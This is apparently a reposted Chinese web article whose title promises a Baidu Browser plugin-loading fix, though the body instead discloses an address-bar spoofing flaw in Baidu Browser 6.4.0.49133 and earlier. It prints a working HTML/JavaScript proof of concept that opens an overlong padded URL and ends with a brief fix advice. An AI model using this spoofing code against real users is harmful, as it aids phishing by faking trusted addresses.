百度瀏覽器提示無法加載插件的解決方法圖解
2024-05-12
網(wǎng)站首頁
手機版
更新時間：2024-05-13 00:01:40作者：未知
百度瀏覽器近期發(fā)現(xiàn)漏洞，百度瀏覽器6.4.0.49133以及以前版本偽造任意網(wǎng)址漏洞，偽造任意協(xié)議（http/https/ftp...）、域名、網(wǎng)址URL長度大于4KB時處理出錯，例如將證明文件保存為c:/a.htm并打開，點擊連接后可以偽造任意網(wǎng)址。
同時URL過長的時候，會顯示“已收藏”圖標(biāo)，估計是處理過長url時邏輯有點小問題漏洞證明：
復(fù)制代碼
代碼如下:
<html>
<div id='c' style=''> //displaynone
ss
</div>
<a href="#" target="newwin" id='v' style="display:block" onclick="invokePoC();window.open('javascript：1;','newwin');">just click me</a>
<script>
function invokePoC() {
wx = open("http://www.baidu.com/account/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
","newwin");//setInterval("doit()",5000);
}
if(window.name == "newwin")
{
document.getElementById('c').innerText = ':). due to an internal error(>10Kbytes url), the fav icon will be shown. if you just want the shortest url, just make it for about 4KB';document.write("<title>:)</title>");
document.getElementById('v').style.display = 'none';}
</script>
</html>
修復(fù)方案：
無效URL及時過濾，以防止偽造網(wǎng)址，謝謝閱讀，希望能幫到大家，請繼續(xù)關(guān)注，我們會努力分享更多優(yōu)秀的文章。